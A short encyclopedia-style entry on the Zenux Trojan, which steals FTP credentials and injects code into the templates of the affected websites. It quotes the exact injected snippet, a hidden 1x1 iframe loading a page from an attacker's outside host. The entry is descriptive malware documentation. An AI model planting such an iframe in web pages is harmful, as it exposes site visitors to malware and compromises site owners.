Zenux

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Zenux is a Trojan horse, which infects Internet users' computers and steals FTP access codes.

The virus functioned as follows: after infecting the user's PC, the Trojan steals all FTP access codes on the computer. After this it accesses the respective FTP accounts, and inserts a small piece of code into the template of the sites, located on the FTP account. After the page has been infected, it acts as a host for the virus, while the latter becomes a small square 1×1 pixels in the lower left corner of the page.

The code inserted by the virus is the following:

<!-- ~ --><iframe src="http://zenux.info/info/index.php" width="1" height="1"><!-- ~ -->

First reports about the virus came on June 11, 2007.

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